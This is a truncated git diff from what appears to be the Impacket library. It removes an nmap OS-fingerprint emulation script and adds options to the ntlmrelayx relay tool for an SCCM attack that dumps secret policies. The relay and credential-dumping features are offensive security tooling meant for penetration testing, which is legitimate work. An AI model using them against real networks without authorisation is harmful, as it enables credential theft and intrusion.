(t_ip.get_ip_tos () == in_onion[O_IP].get_ip_tos ()) and ( - t_ip.get_ip_df () == in_onion[O_IP].get_ip_df ()) and ( - t_icmp.get_icmp_type () == in_onion[O_ICMP].get_icmp_type ()) and ( - t_icmp.get_icmp_code () == in_onion[O_ICMP].get_icmp_code ()) and ( - t_icmp_datalen == in_onion[O_ICMP_DATA].get_size ()) - ) - -class UDPResponder(IPResponder): - def isMine(self, in_onion): - return ( - IPResponder.isMine(self, in_onion) and - (len(in_onion) >= 3) and - (in_onion[O_UDP].protocol == ImpactPacket.UDP.protocol) - ) - -class OpenUDPResponder(UDPResponder): - def isMine(self, in_onion): - return ( - UDPResponder.isMine(self, in_onion) and - self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) - - def buildAnswer(self, in_onion): - out_onion = IPResponder.buildAnswer(self, in_onion) - udp = ImpactPacket.UDP() - - out_onion[O_IP].contains(udp) - out_onion.append(udp) - - udp.set_uh_dport(in_onion[O_UDP].get_uh_sport()) - udp.set_uh_sport(in_onion[O_UDP].get_uh_dport()) - - return out_onion - -class ClosedUDPResponder(UDPResponder): - def isMine(self, in_onion): - return ( - UDPResponder.isMine(self, in_onion) and - not self.machine.isUDPPortOpen(in_onion[O_UDP].get_uh_dport())) - - def buildAnswer(self, in_onion): - out_onion = IPResponder.buildAnswer(self, in_onion) - icmp = ImpactPacket.ICMP() - - out_onion[O_IP].contains(icmp) - out_onion.append(icmp) - - icmp.contains(in_onion[O_IP]) - out_onion += in_onion[O_IP:] - - icmp.set_icmp_type(icmp.ICMP_UNREACH) - icmp.set_icmp_code(icmp.ICMP_UNREACH_PORT) - - return out_onion - -class TCPResponder(IPResponder): - def buildAnswer(self, in_onion): - out_onion = IPResponder.buildAnswer(self, in_onion) - tcp = ImpactPacket.TCP() - - out_onion[O_IP].contains(tcp) - out_onion.append(tcp) - - tcp.set_th_dport(in_onion[O_TCP].get_th_sport()) - tcp.set_th_sport(in_onion[O_TCP].get_th_dport()) - - return out_onion - - def sameTCPFlags(self, in_onion): - if not self.template_onion: return True - in_flags = in_onion[O_TCP].get_th_flags() & 0xfff - t_flags = self.template_onion[O_TCP].get_th_flags() & 0xfff - - return in_flags == t_flags - - def sameTCPOptions(self, in_onion): - if not self.template_onion: return True - in_options = in_onion[O_TCP].get_padded_options() - t_options = self.template_onion[O_TCP].get_padded_options() - - return in_options == t_options - - def isMine(self, in_onion): - if not IPResponder.isMine(self, in_onion): return False - if len(in_onion) < 3: return False - - return (in_onion[O_TCP].protocol == ImpactPacket.TCP.protocol and self.sameTCPFlags (in_onion) and self.sameTCPOptions ( - in_onion)) - -class OpenTCPResponder(TCPResponder): - def isMine(self, in_onion): - return (TCPResponder.isMine (self, in_onion) and in_onion[O_TCP].get_SYN () and self.machine.isTCPPortOpen ( - in_onion[O_TCP].get_th_dport ())) - - def buildAnswer(self, in_onion): - out_onion = TCPResponder.buildAnswer(self, in_onion) - - out_onion[O_TCP].set_SYN() - out_onion[O_TCP].set_ACK() - out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) - out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) - - return out_onion - -class ClosedTCPResponder(TCPResponder): - def isMine(self, in_onion): - return ( - TCPResponder.isMine(self, in_onion) and - in_onion[O_TCP].get_SYN() and - not self.machine.isTCPPortOpen(in_onion[O_TCP].get_th_dport())) - - def buildAnswer(self, in_onion): - out_onion = TCPResponder.buildAnswer(self, in_onion) - - out_onion[O_TCP].set_RST() - out_onion[O_TCP].set_ACK() - out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) - out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) - - return out_onion - -class UDPCommandResponder(OpenUDPResponder): - # default UDP_CMD_PORT is 12345 - # use with: - # echo cmd:exit | nc -u $(IP) $(UDP_CMD_PORT) - # echo cmd:who | nc -u $(IP) $(UDP_CMD_PORT) - - def set_port(self, port): - self.port = port - self.machine.openUDPPort(port) - return self - - def isMine(self, in_onion): - return ( OpenUDPResponder.isMine(self, in_onion))# and - #in_onion[O_UDP].get_uh_dport() == self.port) - - def buildAnswer(self, in_onion): - cmd = array_tobytes(in_onion[O_UDP_DATA].get_bytes()) - if cmd[:4] == 'cmd:': cmd = cmd[4:].strip() - print("Got command: %r" % cmd) - - if cmd == 'exit': - from sys import exit - exit() - - out_onion = OpenUDPResponder.buildAnswer(self, in_onion) - out_onion.append(ImpactPacket.Data()) - out_onion[O_UDP].contains(out_onion[O_UDP_DATA]) - if cmd == 'who': - out_onion[O_UDP_DATA].set_data(self.machine.fingerprint.get_id()) - - return out_onion - -# NMAP2 specific responders -class NMAP2UDPResponder(ClosedUDPResponder): - signatureName = 'U1' - - # No real need to filter - # def isMine(self, in_onion): - # return ( - # ClosedUDPResponder.isMine(self, inOnion) and - # (in_onion[O_UDP_DATA].get_size() == 300)) - - def buildAnswer(self, in_onion): - out_onion = ClosedUDPResponder.buildAnswer(self, in_onion) - f = self.fingerprint - - # assume R = Y - try: - if (f['R'] == 'N'): return None - except: pass - - # Test DF: Don't fragment IP bit set = [YN] - if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) - else: out_onion[O_IP].set_ip_df(False) - - self.setTTLFromFingerprint(out_onion) - - # UN. Assume 0 - try: un = int(f['UN'],16) - except: un = 0 - out_onion[O_ICMP].set_icmp_void(un) - - # RIPL. Assume original packet just quoted - try: - ripl = int(f['RIPL'],16) # G generates exception - out_onion[O_ICMP_DATA].set_ip_len(ripl) - except: - pass - - # RID. Assume original packet just quoted - try: - rid = int(f['RID'],16) # G generates exception - out_onion[O_ICMP_DATA].set_ip_id(rid) - except: - pass - - # RIPCK. Assume original packet just quoted - try: ripck = f['RIPCK'] - except: ripck = 'G' - if ripck == 'I': out_onion[O_ICMP_DATA].set_ip_sum(0x6765) - elif ripck == 'Z': out_onion[O_ICMP_DATA].set_ip_sum(0) - elif ripck == 'G': out_onion[O_ICMP_DATA].auto_checksum = 0 - - # RUCK. Assume original packet just quoted - try: - ruck = int(f['RUCK'], 16) - out_onion[O_ICMP_DATA+1].set_uh_sum(ruck) - except: - out_onion[O_ICMP_DATA+1].auto_checksum = 0 - - # RUD. Assume original packet just quoted - try: rud = f['RUD'] - except: rud = 'G' - - if rud == 'I': - udp_data = out_onion[O_ICMP_DATA+2] - udp_data.set_data('G'*udp_data.get_size()) - - # IPL. Assume all original packet is quoted - # This has to be the last thing we do - # as we are going to render the packet before doing it - try: ipl = int(f['IPL'], 16) - except: ipl = None - - if not ipl is None: - data = out_onion[O_ICMP_DATA].get_packet() - out_onion[O_ICMP].contains(ImpactPacket.Data()) - ip_and_icmp_len = out_onion[O_IP].get_size() - - data = data[:ipl - ip_and_icmp_len] - - data += '\x00'*(ipl-len(data)-ip_and_icmp_len) - out_onion = out_onion[:O_ICMP_DATA] - out_onion.append(ImpactPacket.Data(data)) - out_onion[O_ICMP].contains(out_onion[O_ICMP_DATA]) - - return out_onion - -class NMAP2ICMPResponder(ICMPResponder): - def buildAnswer(self, in_onion): - f = self.fingerprint - - # assume R = Y - try: - if (f['R'] == 'N'): return None - except: pass - - out_onion = ICMPResponder.buildAnswer(self, in_onion) - - # assume DFI = N - try: dfi = f['DFI'] - except: dfi = 'N' - - if dfi == 'N': out_onion[O_IP].set_ip_df(False) - elif dfi == 'Y': out_onion[O_IP].set_ip_df(True) - elif dfi == 'S': out_onion[O_IP].set_ip_df(in_onion[O_IP].get_ip_df()) - elif dfi == 'O': out_onion[O_IP].set_ip_df(not in_onion[O_IP].get_ip_df()) - else: raise Exception('Unsupported IE(DFI=%s)' % dfi) - - # assume DLI = S - try: dli = f['DLI'] - except: dli = 'S' - - if dli == 'S': out_onion[O_ICMP].contains(in_onion[O_ICMP_DATA]) - elif dli != 'Z': raise Exception('Unsupported IE(DFI=%s)' % dli) - - self.setTTLFromFingerprint(out_onion) - - # assume SI = S - try: si = f['SI'] - except: si = 'S' - - if si == 'S': out_onion[O_ICMP].set_icmp_seq(in_onion[O_ICMP].get_icmp_seq()) - elif si == 'Z': out_onion[O_ICMP].set_icmp_seq(0) # this is not currently supported by nmap, but I've done it already - else: - try: out_onion[O_ICMP].set_icmp_seq(int(si, 16)) # this is not supported either by nmap - except: raise Exception('Unsupported IE(SI=%s)' % si) - - # assume CD = S - try: cd = f['CD'] - except: cd = 'S' - - if cd == 'Z': out_onion[O_ICMP].set_icmp_code(0) - elif cd == 'S': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()) - elif cd == 'O': out_onion[O_ICMP].set_icmp_code(in_onion[O_ICMP].get_icmp_code()+1) # no examples in DB - else: - try: out_onion[O_ICMP].set_icmp_code(int(cd, 16)) # documented, but no examples available - except: raise Exception('Unsupported IE(CD=%s)' % cd) - - # assume TOSI = S - try: tosi = f['TOSI'] - except: tosi = 'S' - - if tosi == 'Z': out_onion[O_IP].set_ip_tos(0) - elif tosi == 'S': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()) - elif tosi == 'O': out_onion[O_IP].set_ip_tos(in_onion[O_IP].get_ip_tos()+1) # no examples in DB - else: - try: out_onion[O_IP].set_ip_tos(int(tosi, 16)) # documented, but no examples available - except: raise Exception('Unsupported IE(TOSI=%s)' % tosi) - - return out_onion - -class NMAP2TCPResponder(TCPResponder): - def buildAnswer(self, in_onion): - out_onion = TCPResponder.buildAnswer(self, in_onion) - - f = self.fingerprint - - # Test R: There is a response = [YN] - if (f['R'] == 'N'): return None - - # Test DF: Don't fragment IP bit set = [YN] - if (f['DF'] == 'Y'): out_onion[O_IP].set_ip_df(True) - else: out_onion[O_IP].set_ip_df(False) - - # Test W: Initial TCP windows size - try: win = int(f['W'],16) - except: win = 0 - out_onion[O_TCP].set_th_win(win) - - self.setTTLFromFingerprint(out_onion) - - # Test CC: Explicit congestion notification - # Two TCP flags are used in this test: ECE and CWR - try: - cc = f['CC'] - if cc == 'N': ece,cwr = 0,0 - if cc == 'Y': ece,cwr = 1,0 - if cc == 'S': ece,cwr = 1,1 - if cc == 'O': ece,cwr = 0,1 - except: - ece,cwr = 0,0 - - if ece: out_onion[O_TCP].set_ECE() - else: out_onion[O_TCP].reset_ECE() - if cwr: out_onion[O_TCP].set_CWR() - else: out_onion[O_TCP].reset_CWR() - - - # Test O: TCP Options - try: options = f['O'] - except: options = '' - self.setTCPOptions(out_onion, options) - - # Test S: TCP Sequence number - # Z: Sequence number is zero - # A: Sequence number is the same as the ACK in the probe - # A+: Sequence number is the same as the ACK in the probe + 1 - # O: Other value - try: s = f['S'] - except: s = 'O' - if s == 'Z': out_onion[O_TCP].set_th_seq(0) - if s == 'A': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()) - if s == 'A+': out_onion[O_TCP].set_th_seq(in_onion[O_TCP].get_th_ack()+1) - if s == 'O': out_onion[O_TCP].set_th_seq(self.machine.getTCPSequence()) - - # Test A: TCP ACK number - # Z: Ack is zero - # S: Ack is the same as the Squence number in the probe - # S+: Ack is the same as the Squence number in the probe + 1 - # O: Other value - try: a = f['A'] - except: a = 'O' - if a == 'Z': out_onion[O_TCP].set_th_ack(0) - if a == 'S': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()) - if a == 'S+': out_onion[O_TCP].set_th_ack(in_onion[O_TCP].get_th_seq()+1) - - # Test Q: Quirks - # R: Reserved bit set (right after the header length) - # U: Urgent pointer non-zero and URG flag clear - try: - if 'R' in f['Q']: out_onion[O_TCP].set_flags(0x800) - except: pass - try: - if 'U' in f['Q']: out_onion[O_TCP].set_th_urp(0xffff) - except: pass - - # Test F: TCP Flags - try: flags = f['F'] - except: flags = '' - if 'E' in flags: out_onion[O_TCP].set_ECE() - if 'U' in flags: out_onion[O_TCP].set_URG() - if 'A' in flags: out_onion[O_TCP].set_ACK() - if 'P' in flags: out_onion[O_TCP].set_PSH() - if 'R' in flags: out_onion[O_TCP].set_RST() - if 'S' in flags: out_onion[O_TCP].set_SYN() - if 'F' in flags: out_onion[O_TCP].set_FIN() - - # Test RD: TCP Data checksum (mostly for data in RST) - try: - crc = f['RD'] - if crc != '0': # when the - crc = int(crc, 16) - data = 'TCP Port is closed\x00' - data += uncrc32.compensate(data, crc) - data = ImpactPacket.Data(data) - out_onion.append(data) - out_onion[O_TCP].contains(data) - except: - pass - return out_onion - - def setTCPOptions(self, onion, options): - def getValue(string, i): - value = 0 - - idx = i - for c in options[i:]: - try: - value = value * 0x10 + int(c,16) - except: - break - idx += 1 - - return value, idx - - # Test O,O1=O6: TCP Options - # L: End of Options - # N: NOP - # S: Selective ACK - # Mx: MSS (x is a hex number) - # Wx: Windows Scale (x is a hex number) - # Tve: Timestamp (v and e are two binary digits, v for TSval and e for TSecr - - i = 0 - tcp = onion[O_TCP] - while i < len(options): - opt = options[i] - i += 1 - if opt == 'L': tcp.add_option(TCPOption(TCPOption.TCPOPT_EOL)) - if opt == 'N': tcp.add_option(TCPOption(TCPOption.TCPOPT_NOP)) - if opt == 'S': tcp.add_option(TCPOption(TCPOption.TCPOPT_SACK_PERMITTED)) - if opt == 'T': - opt = TCPOption(TCPOption.TCPOPT_TIMESTAMP) # default ts = 0, ts_echo = 0 - if options[i] == '1': opt.set_ts(self.machine.getTCPTimeStamp()) - if options[i+1] == '1': opt.set_ts_echo(0xffffffff) - tcp.add_option(opt) - i += 2 - if opt == 'M': - maxseg, i = getValue(options, i) - tcp.add_option(TCPOption(TCPOption.TCPOPT_MAXSEG, maxseg)) - if opt == 'W': - window, i = getValue(options, i) - tcp.add_option(TCPOption(TCPOption.TCPOPT_WINDOW, window)) - -class nmap2_SEQ(NMAP2TCPResponder): - templateClass = None - signatureName = None - seqNumber = None - - def initFingerprint(self): - NMAP2TCPResponder.initFingerprint(self) - if not self.seqNumber: return - else: - OPS = self.machine.fingerprint.get_tests()['OPS'] - WIN = self.machine.fingerprint.get_tests()['WIN'] - self.fingerprint['O'] = OPS['O%d' % self.seqNumber] - self.fingerprint['W'] = WIN['W%d' % self.seqNumber] - -class nmap2_ECN(NMAP2TCPResponder): - templateClass = os_ident.nmap2_ecn_probe - signatureName = 'ECN' - -class nmap2_SEQ1(nmap2_SEQ): - templateClass = os_ident.nmap2_seq_1 - signatureName = 'T1' - seqNumber = 1 - -class nmap2_SEQ2(nmap2_SEQ): - templateClass = os_ident.nmap2_seq_2 - signatureName = 'T1' - seqNumber = 2 - -class nmap2_SEQ3(nmap2_SEQ): - templateClass = os_ident.nmap2_seq_3 - signatureName = 'T1' - seqNumber = 3 - -class nmap2_SEQ4(nmap2_SEQ): - templateClass = os_ident.nmap2_seq_4 - signatureName = 'T1' - seqNumber = 4 - -class nmap2_SEQ5(nmap2_SEQ): - templateClass = os_ident.nmap2_seq_5 - signatureName = 'T1' - seqNumber = 5 - -class nmap2_SEQ6(nmap2_SEQ): - templateClass = os_ident.nmap2_seq_6 - signatureName = 'T1' - seqNumber = 6 - -class nmap2_T2(NMAP2TCPResponder): - templateClass = os_ident.nmap2_tcp_open_2 - signatureName = 'T2' - -class nmap2_T3(NMAP2TCPResponder): - templateClass = os_ident.nmap2_tcp_open_3 - signatureName = 'T3' - -class nmap2_T4(NMAP2TCPResponder): - templateClass = os_ident.nmap2_tcp_open_4 - signatureName = 'T4' - -class nmap2_T5(NMAP2TCPResponder): - templateClass = os_ident.nmap2_tcp_closed_1 - signatureName = 'T5' - -class nmap2_T6(NMAP2TCPResponder): - templateClass = os_ident.nmap2_tcp_closed_2 - signatureName = 'T6' - -class nmap2_T7(NMAP2TCPResponder): - templateClass = os_ident.nmap2_tcp_closed_3 - signatureName = 'T7' - -class nmap2_ICMP_1(NMAP2ICMPResponder): - templateClass = os_ident.nmap2_icmp_echo_probe_1 - signatureName = 'IE' - -class nmap2_ICMP_2(NMAP2ICMPResponder): - templateClass = os_ident.nmap2_icmp_echo_probe_2 - signatureName = 'IE' - -class Machine: - AssumedTimeIntervalPerPacket = 0.11 # seconds - def __init__(self, emmulating, interface, ipAddress, macAddress, openTCPPorts = [], openUDPPorts = [], nmapOSDB = 'nmap-os-db'): - self.interface = interface - self.ipAddress = ipAddress - self.macAddress = macAddress - self.responders = [] - self.decoder = ImpactDecoder.EthDecoder() - - self.initPcap() - self.initFingerprint(emmulating, nmapOSDB) - - self.initSequenceGenerators() - self.openTCPPorts = openTCPPorts - self.openUDPPorts = openUDPPorts - print(self) - - def openUDPPort(self, port): - if self.isUDPPortOpen(port): return - self.openUDPPorts.append(port) - - def isUDPPortOpen(self, port): - return port in self.openUDPPorts - - def isTCPPortOpen(self, port): - return port in self.openTCPPorts - - def initPcap(self): - self.pcap = pcapy.open_live(self.interface, 65535, 1, 0) - try: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress)) - except: self.pcap.setfilter("host %s or ether host %s" % (self.ipAddress, self.macAddress), 1, 0xFFFFFF00) - - def initGenericResponders(self): - # generic responders - self.addResponder(ARPResponder(self)) - self.addResponder(OpenUDPResponder(self)) - self.addResponder(ClosedUDPResponder(self)) - self.addResponder(OpenTCPResponder(self)) - self.addResponder(ClosedTCPResponder(self)) - - def initFingerprint(self, emmulating, nmapOSDB): - fpm = os_ident.NMAP2_Fingerprint_Matcher('') - f = open(nmapOSDB, 'r') - for text in fpm.fingerprints(f): - fingerprint = fpm.parse_fp(text) - if fingerprint.get_id() == emmulating: - self.fingerprint = fingerprint - self.simplifyFingerprint() - # print(fingerprint) - return - - raise Exception("Couldn't find fingerprint data for %r" % emmulating) - - def simplifyFingerprint(self): - tests = self.fingerprint.get_tests() - for probeName in tests: - probe = tests[probeName] - for test in probe: - probe[test] = probe[test].split('|')[0] - - def initSequenceGenerators(self): - self.initIPIDGenerator() - self.initTCPISNGenerator() - self.initTCPTSGenerator() - - def initIPIDGenerator(self): - seq = self.fingerprint.get_tests()['SEQ'] - self.ip_ID = 0 - - try: TI = seq['TI'] - except: TI = 'O' - - if TI == 'Z': self.ip_ID_delta = 0 - elif TI == 'RD': self.ip_ID_delta = 30000 - elif TI == 'RI': self.ip_ID_delta = 1234 - elif TI == 'BI': self.ip_ID_delta = 1024+256 - elif TI == 'I': self.ip_ID_delta = 1 - elif TI == 'O': self.ip_ID_delta = 123 - else: self.ip_ID_delta = int(TI, 16) - - try: ss = seq['SS'] - except: ss = 'O' - - self.ip_ID_ICMP_delta = None - if ss == 'S': self.ip_ID_ICMP = None - else: - self.ip_ID_ICMP = 0 - try: II = seq['II'] - except: II = 'O' - - if II == 'Z': self.ip_ID_ICMP_delta = 0 - elif II == 'RD': self.ip_ID_ICMP_delta = 30000 - elif II == 'RI': self.ip_ID_ICMP_delta = 1234 - elif II == 'BI': self.ip_ID_ICMP_delta = 1024+256 - elif II == 'I': self.ip_ID_ICMP_delta = 1 - elif II == 'O': self.ip_ID_ICMP_delta = 123 - else: self.ip_ID_ICMP_delta = int(II, 16) - - # generate a few, so we don't start with 0 when we don't have to - for i in range(10): - self.getIPID() - self.getIPID_ICMP() - - print("IP ID Delta: %d" % self.ip_ID_delta) - print("IP ID ICMP Delta: %s" % self.ip_ID_ICMP_delta) - - def initTCPISNGenerator(self): - # tcp_ISN and tcp_ISN_delta for TCP Initial sequence numbers - self.tcp_ISN = 0 - try: - self.tcp_ISN_GCD = int(self.fingerprint.get_tests()['SEQ']['GCD'].split('-')[0], 16) - except: - self.tcp_ISN_GCD = 1 - - try: - isr = self.fingerprint.get_tests()['SEQ']['ISR'].split('-') - if len(isr) == 1: - isr = int(isr[0], 16) - else: - isr = (int(isr[0], 16) + int(isr[1], 16)) / 2 - except: - isr = 0 - - try: - sp = self.fingerprint.get_tests()['SEQ']['SP'].split('-') - sp = int(sp[0], 16) - except: - sp = 0 - - self.tcp_ISN_stdDev = (2**(sp/8.0)) * 5 / 4 # n-1 on small populations... erm... - - if self.tcp_ISN_GCD > 9: - self.tcp_ISN_stdDev *= self.tcp_ISN_GCD - - self.tcp_ISN_stdDev *= self.AssumedTimeIntervalPerPacket - - self.tcp_ISN_delta = 2**(isr/8.0) * self.AssumedTimeIntervalPerPacket - - # generate a few, so we don't start with 0 when we don't have to - for i in range(10): self.getTCPSequence() - - print("TCP ISN Delta: %f" % self.tcp_ISN_delta) - print("TCP ISN Standard Deviation: %f" % self.tcp_ISN_stdDev) - - def initTCPTSGenerator(self): - # tcp_TS and tcp_TS_delta for TCP Time stamp generation - self.tcp_TS = 0 - - try: ts = self.fingerprint.get_tests()['SEQ']['TS'] - except: ts = 'U' - - if ts == 'U' or ts == 'Z': self.tcp_TS_delta = 0 - else: - self.tcp_TS_delta = (2**int(ts, 16)) * self.AssumedTimeIntervalPerPacket - - # generate a few, so we don't start with 0 when we don't have to - for i in range(10): self.getTCPTimeStamp() - - print("TCP TS Delta: %f" % self.tcp_TS_delta) - - def getIPID(self): - answer = self.ip_ID - self.ip_ID += self.ip_ID_delta - self.ip_ID %= 0x10000 - # print("IP ID: %x" % answer) - return answer - - def getIPID_ICMP(self): - if self.ip_ID_ICMP is None: - return self.getIPID() - - answer = self.ip_ID_ICMP - self.ip_ID_ICMP += self.ip_ID_ICMP_delta - self.ip_ID_ICMP %= 0x10000 - # print("---> IP ID: %x" % answer) - return answer - - def getTCPSequence(self): - answer = self.tcp_ISN + self.tcp_ISN_stdDev # *random.random() - self.tcp_ISN_stdDev *= -1 - answer = int(int(answer/self.tcp_ISN_GCD) * self.tcp_ISN_GCD) - self.tcp_ISN += self.tcp_ISN_delta - self.tcp_ISN %= 0x100000000 - # print("---> TCP Sequence: %d" % (answer % 0x100000000)) - return answer % 0x100000000 - - def getTCPTimeStamp(self): - answer = int(round(self.tcp_TS)) - self.tcp_TS += self.tcp_TS_delta - self.tcp_TS %= 0x100000000 - # print("---> TCP Time Stamp: %x" % answer) - return answer - - def sendPacket(self, onion): - if not onion: return - print("--> Packet sent:") - #print(onion[0]) - #print() - self.pcap.sendpacket(onion[O_ETH].get_packet()) - - def addResponder(self, aResponder): - self.responders.append(aResponder) - - def run(self): - while 1: - p = self.pcap.next() - try: in_onion = [self.decoder.decode(p[1])] - except: in_onion = [self.decoder.decode(p[0])] - try: - while 1: in_onion.append(in_onion[-1].child()) - except: - pass - - #print("-------------- Received: ", in_onion[0]) - for r in self.responders: - if r.process(in_onion): break - - -def main(): - def initResponders(machine): - # cmd responder - # machine.addResponder(UDPCommandResponder(machine).set_port(UDP_CMD_PORT)) - - # nmap2 specific responders - machine.addResponder(nmap2_SEQ1(machine)) - machine.addResponder(nmap2_SEQ2(machine)) - machine.addResponder(nmap2_SEQ3(machine)) - machine.addResponder(nmap2_SEQ4(machine)) - machine.addResponder(nmap2_SEQ5(machine)) - machine.addResponder(nmap2_SEQ6(machine)) - machine.addResponder(nmap2_ECN(machine)) - machine.addResponder(nmap2_T2(machine)) - machine.addResponder(nmap2_T3(machine)) - machine.addResponder(nmap2_T4(machine)) - machine.addResponder(nmap2_T5(machine)) - machine.addResponder(nmap2_T6(machine)) - machine.addResponder(nmap2_T7(machine)) - machine.addResponder(nmap2_ICMP_1(machine)) - machine.addResponder(nmap2_ICMP_2(machine)) - machine.addResponder(NMAP2UDPResponder(machine)) - - from sys import argv, exit - def usage(): - print(""" - if arg == '-h': usage() - if arg == '--help': usage() - if arg == '-f': Fingerprint = value - if arg == '-p': IP = value - if arg == '-m': MAC = value - if arg == '-i': IFACE = value - if arg == '-d': nmapOsDB = value - - where: - arg = argv[i] - value = argv[i+1] - """) - exit() - - global Fingerprint, IFACE, MAC, IP, nmapOSDB - for i, arg in enumerate(argv): - try: value = argv[i+1] - except: value = None - if arg == '-h': usage() - if arg == '--help': usage() - if arg == '-f': Fingerprint = value - if arg == '-p': IP = value - if arg == '-m': MAC = value - if arg == '-i': IFACE = value - if arg == '-d': nmapOSDB = value - - print("Emulating: %r" % Fingerprint) - print("at %s / %s / %s" % (IFACE, MAC, IP)) - machine = Machine( - Fingerprint, - IFACE, - IP, - MAC, - OPEN_TCP_PORTS, - OPEN_UDP_PORTS, - nmapOSDB=nmapOSDB) - - initResponders(machine) - machine.initGenericResponders() - machine.run() - -if __name__ == '__main__': - # Init the example's logger theme - print(version.WARNING_BANNER) - logger.init() - main() - -# All Probes -# [x] SEQ -# [x] OPS -# [x] WIN -# [x] T1 -# [x] T2 -# [x] T3 -# [x] T4 -# [x] T5 -# [x] T6 -# [x] T7 -# [x] IE -# [x] ECN -# [x] U1 - -# All Tests - -# SEQ() -# [x] TCP ISN sequence predictability index (SP) -# [x] TCP ISN greatest common divisor (GCD) -# [x] TCP ISN counter rate (ISR) -# [x] IP ID sequence generation algorithm on TCP Open ports (TI) -# [x] Z - All zeros -# [x] RD - Random: It increments at least once by at least 20000. -# [-] Hex Value - fixed IP ID -# [x] RI - Random positive increments. Any (delta_i > 1000, and delta_i % 256 != 0) or (delta_i > 256000 and delta_i % 256 == 0) -# [x] BI - Broken increment. All delta_i % 256 = 0 and all delta_i <= 5120. -# [x] I - Incremental. All delta_i < 10 -# [x] O - (Omitted, the test does not show in the fingerprint). None of the other -# [-] IP ID sequence generation algorithm on TCP closed ports (CI) -# [x] IP ID sequence generation algorithm on ICMP messages (II) -# [x] Shared IP ID sequence Boolean (SS) -# [x] TCP timestamp option algorithm (TS) -# [x] U - unsupported (don't send TS) -# [x] 0 - Zero -# [x] 1 - 0-5.66 (2 Hz) -# [x] 7 - 70-150 (100 Hz) -# [x] 8 - 150-350 (200 Hz) -# [x] - avg_freq = sum(TS_diff/time_diff) . round(.5 + math.log(avg_freq)/math.log(2))) -# time_diff = 0.11 segs -# OPS() -# [x] TCP options (O, O1-O6) -# WIN() -# [x] TCP initial window size (W, W1-W6) -# ECN, T1-T7 -# [x] TCP options (O, O1-O6) -# [x] TCP initial window size (W, W1-W6) -# [x] Responsiveness (R) -# [x] IP don't fragment bit (DF) -# [x] IP initial time-to-live (T) -# [x] IP initial time-to-live guess (TG) -# [x] Explicit congestion notification (CC) -# [x] TCP miscellaneous quirks (Q) -# [x] TCP sequence number (S) -# [x] TCP acknowledgment number (A) -# [x] TCP flags (F) -# [x] TCP RST data checksum (RD) -# IE() -# [x] Responsiveness (R) -# [x] Don't fragment (ICMP) (DFI) -# [x] IP initial time-to-live (T) -# [x] IP initial time-to-live guess (TG) -# [x] ICMP response code (CD) -#-[x] IP Type of Service (TOSI) -#-[x] ICMP Sequence number (SI) -#-[x] IP Data Length (DLI) -# U1() -# [x] Responsiveness (R) -# [x] IP don't fragment bit (DF) -# [x] IP initial time-to-live (T) -# [x] IP initial time-to-live guess (TG) -# [x] IP total length (IPL) -# [x] Unused port unreachable field nonzero (UN) -# [x] Returned probe IP total length value (RIPL) -# [x] Returned probe IP ID value (RID) -# [x] Integrity of returned probe IP checksum value (RIPCK) -# [x] Integrity of returned probe UDP checksum (RUCK) -# [x] Integrity of returned UDP data (RUD) -# [-] ??? (TOS) Type of Service -# [-] ??? (RUL) Length of return UDP packet is correct - -# sudo nmap -O 127.0.0.2 -p 22,111,89 -# sudo python nmapAnswerMachine.py -i eth0 -p 192.168.66.254 -f 'Sun Solaris 9 (SPARC)' diff --git a/examples/ntfs-read.py b/examples/ntfs-read.py index 8df27573a0..a17088079d 100755 --- a/examples/ntfs-read.py +++ b/examples/ntfs-read.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -34,11 +36,6 @@ import argparse import cmd import ntpath -# If you wanna have readline like functionality in Windows, install pyreadline -try: - import pyreadline as readline -except ImportError: - import readline from six import PY2, text_type from datetime import datetime from impacket.examples import logger diff --git a/examples/ntlmrelayx.py b/examples/ntlmrelayx.py index d892912e91..0790d07566 100644 --- a/examples/ntlmrelayx.py +++ b/examples/ntlmrelayx.py @@ -1,7 +1,9 @@ #!/usr/bin/env python # Impacket - Collection of Python classes for working with network protocols. # -# Copyright (C) 2023 Fortra. All rights reserved. +# Copyright Fortra, LLC and its affiliated companies +# +# All rights reserved. # # This software is provided under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file @@ -42,6 +44,7 @@ from urllib.request import ProxyHandler, build_opener, Request except ImportError: from urllib2 import ProxyHandler, build_opener, Request +from urllib.parse import urlparse import json from time import sleep @@ -206,7 +209,11 @@ def start_servers(options, threads): c.setIsShadowCredentialsAttack(options.shadow_credentials) c.setShadowCredentialsOptions(options.shadow_target, options.pfx_password, options.export_type, options.cert_outfile_path) - + c.setIsSCCMPoliciesAttack(options.sccm_policies) + c.setIsSCCMDPAttack(options.sccm_dp) + c.setSCCMPoliciesOptions(options.sccm_policies_clientname, options.sccm_policies_sleep) + c.setSCCMDPOptions(options.sccm_dp_extensions, options.sccm_dp_files) + c.setAltName(options.altname) #If the redirect option is set, configure the HTTP server to redirect targets to SMB @@ -401,6 +408,17 @@ def stop_servers(threads): help='choose to export cert+private key in PEM or PFX (i.e. #PKCS12) (default: PFX))') shadowcredentials.add_argument('--cert-outfile-path', action='store', required=False, help='filename to store the generated self-signed PEM or PFX certificate and key') + # SCCM policies options + sccmpoliciesoptions = parser.add_argument_group("SCCM Policies attack options") + sccmpoliciesoptions.add_argument('--sccm-policies', action='store_true', required=False, help='Enable SCCM policies attack. Performs SCCM secret policies dump from a Management Point by registering a device. Works best when relaying a machine account. Expects as target \'http:///ccm_system_windowsauth/request\'') + sccmpoliciesoptions.add_argument('--sccm-policies-clientname', action='store', required=False, help='The name of the client that will be registered in order to dump secret policies. Defaults to the relayed account\'s name') + sccmpoliciesoptions.add_argument('--sccm-policies-sleep', action='store', required=False, help='The 